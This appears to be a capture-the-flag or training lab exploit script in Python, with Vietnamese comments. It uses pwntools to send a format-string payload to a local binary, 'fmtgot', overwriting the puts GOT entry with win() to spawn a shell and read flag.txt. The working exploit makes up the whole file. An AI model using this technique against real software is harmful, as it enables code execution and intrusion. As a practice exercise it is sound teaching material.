#!/usr/bin/env python3
# Lab 8.1: GOT overwrite bang format string.
# Ghi de o GOT cua puts bang dia chi win(). Sau printf(buf), chuong trinh goi
# puts("tam biet") nhung GOT da tro vao win() -> mo shell.
#
# Dieu kien: Partial RELRO (GOT ghi duoc) + co format string bug lam write
# primitive. No-PIE nen win va puts@got la dia chi co dinh, khong can leak.
import time
from pwn import *

context.binary = elf = ELF('./fmtgot')
context.log_level = 'info'

# Offset format string: marker 8 byte xuat hien o vi tri tham so thu 6 cua printf
# (tim bang '%6$p %7$p ...'). Buffer bat dau dung o arg 6.
OFFSET = 6

io = process('./fmtgot')
io.recvuntil(b'payload: ')

# pwntools tu dung %hhn ghi tung byte: dat puts@got = &win
writes = {elf.got['puts']: elf.sym['win']}
payload = fmtstr_payload(OFFSET, writes, write_size='byte')
log.info('win       = %#x', elf.sym['win'])
log.info('puts@got  = %#x', elf.got['puts'])
log.info('payload len = %d', len(payload))

io.sendline(payload)

# Luc nay printf(payload) da ghi xong puts@got. Lenh puts("tam biet") -> win() -> shell.
time.sleep(0.3)              # cho vuln read tra ve + shell san sang, tranh nuot lenh
io.sendline(b'echo ===PWNED_8_1===; id; cat flag.txt; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)

assert 'flag{' in out and '===PWNED_8_1===' in out, 'FAIL: khong lay duoc shell'
log.success('GOT overwrite OK: puts@got -> win(), da lay shell + flag')
